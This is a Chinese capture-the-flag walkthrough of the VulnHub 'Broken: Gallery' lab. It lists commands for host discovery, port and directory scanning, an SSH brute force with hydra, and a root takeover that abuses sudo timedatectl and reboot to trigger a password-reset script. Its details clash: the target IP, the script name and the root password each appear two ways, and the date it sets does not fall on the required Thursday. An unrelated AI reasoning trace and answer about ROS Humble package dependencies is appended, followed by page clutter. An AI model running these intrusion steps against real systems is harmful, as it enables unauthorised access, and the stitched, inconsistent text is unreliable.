漏洞复现 -- Broken: Gallery

一、靶机地址

https://www.vulnhub.com/entry/broken-gallery,344/

二、漏洞复现

kali : 192.168.159.128
靶机 : 192.168.159.145
sudo arp-scan -l
 # 探测⽬标主机

nmap -A 192.168.159.146
 # 对于扫出的IP地址进⾏端⼝扫描

dirsearch -u http://192.168.159.146
 # 对开放的80端⼝进⾏了探测,发现没有太⼤利⽤价值,只能把注意⼒转向22端⼝,尝试对22端⼝的ssh进⾏爆破

hydra -L rockyou.txt -P rockyou.txt 192.168.159.146 ssh
 # 成功爆破出账号密码
broken | broken

ssh broken@192.168.159.146
 # 远程连接ssh,成功登录

sudo -l
 # 查看当前⽤户的sudo权限,发现能够使⽤timedatectl和 reboot命令

ls -la
 # 尝试查看bash⽤户历史命令, 发现⼀个关键⽂件paddwordpolicy.sh位于/etc/init.d/⽬录下 

cat .bash_history 

cat /etc/init.d/password-policy.sh

 # 可以发现DAYOFWEEK等于4的时候,设置root⽤户的密码为TodayIsAgoogDay,其中DAYOPWEEK=$(date "+%u"),表示当前星期⼏,也就是说星期四的执⾏root⽤户密码的修改,通过timedatectl修改时间后重启

sudo timedatectl set-time '2015-11-20 16:14:50'
 # 使用 timedatectl 命令以超级用户权限设置系统时间为2015年11月20日16时14分50秒。

sudo /sbin/reboot
 # 使用 reboot 命令以超级用户权限重启系统。

ssh broken@192.168.159.146
 # 用SSH协议连接到IP地址为192.168.159.146的服务器,登录用户为broken。

su root
 # 切换到root用户。

使⽤ssh重新连接,然后切换到root⽤户,密码为“TodaylsAgoodDay”,因此我们使⽤它作为root登录,成功获得root权限

<think>好的,用户遇到了Python3 ROS相关模块因依赖问题无法安装的情况,具体是python3-catkin-pkg-modules未满足依赖导致ROS Humble组件的安装失败。我需要根据提供的引用信息来帮助用户解决这个问题。 首先,查看用户提供的引用内容。引用[1]提到了使用sudo apt download下载特定模块,引用[2]建议结合教程第4步,并提到可能需要手动安装依赖,引用[3]显示在处理.deb文件时出错,引用[4]比较了ROS1和ROS2的工作空间创建,指出ROS2使用colcon build。 用户的问题是关于ROS Humble,属于ROS2的版本。需要确认python3-catkin-pkg-modules在ROS2中的角色。ROS2中主要使用ament构建系统,但某些情况下可能仍需要catkin相关包,特别是当涉及到与ROS1的兼容或迁移时。 步骤一:更新系统软件包列表。这是解决依赖问题的常见第一步,确保所有仓库信息是最新的,使用sudo apt update。 步骤二:尝试修复损坏的包。使用sudo apt --fix-broken install可以自动处理依赖问题,可能解决因依赖链断裂导致的安装失败。 如果上述步骤无效,可能需要手动下载并安装缺失的包,如引用[1]中的方法。下载指定的.deb文件后,使用sudo dpkg -i安装,但需要注意可能出现的错误,如引用[3]中的dpkg错误。如果安装失败,可能需要先安装其依赖项,或者使用-f参数修复。 此外,引用[2]提到可能存在其他依赖问题,建议参考提供的链接或运行特定部分的命令。用户需要确保按照ROS Humble的官方安装指南操作,可能需要添加正确的ROS仓库源,确保所有依赖包可用。 如果问题仍然存在,可能需要清除apt缓存并重新下载,或者检查网络连接是否正常。最后,确保使用正确的ROS2构建命令,如colcon build,如引用[4]所述,而非catkin_make。 总结解决方案的步骤,确保逻辑清晰,用户能够逐步操作。同时,需要验证这些步骤是否适用于ROS Humble,可能需要查阅ROS2的官方文档确认相关包的名称和依赖关系。</think>### 分步解决方案:修复ROS Humble组件依赖问题 1. **更新软件包列表并修复基础依赖** ```bash sudo apt update sudo apt --fix-broken install ``` 这一步确保系统仓库信息最新,并自动修复已知的依赖冲突[^2]。 2. **手动下载并安装缺失的模块** 根据引用[1][^1]提供的包名,直接下载依赖文件: ```bash sudo apt download python3-catkin-pkg-modules python3-rospkg-modules ``` 随后安装下载的`.deb`文件: ```bash sudo dpkg -i python3-catkin-pkg-modules*.deb python3-rospkg-modules*.deb ``` 若安装过程中报错(如引用[3][^3]),尝试: ```bash sudo apt install -f # 自动修复未完成的安装 ``` 3. **重新安装ROS Humble相关组件** 确保已正确配置ROS Humble的APT源(参考[ROS2官方文档](https://docs.ros.org/en/humble/Installation.html)),然后执行: ```bash sudo apt install ros-humble-desktop # 或其他具体组件名 ``` 4. **验证工作空间构建工具** ROS2使用`colcon`替代ROS1的`catkin_make`(引用[4][^4]),确保已安装: ```bash sudo apt install python3-colcon-common-extensions ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值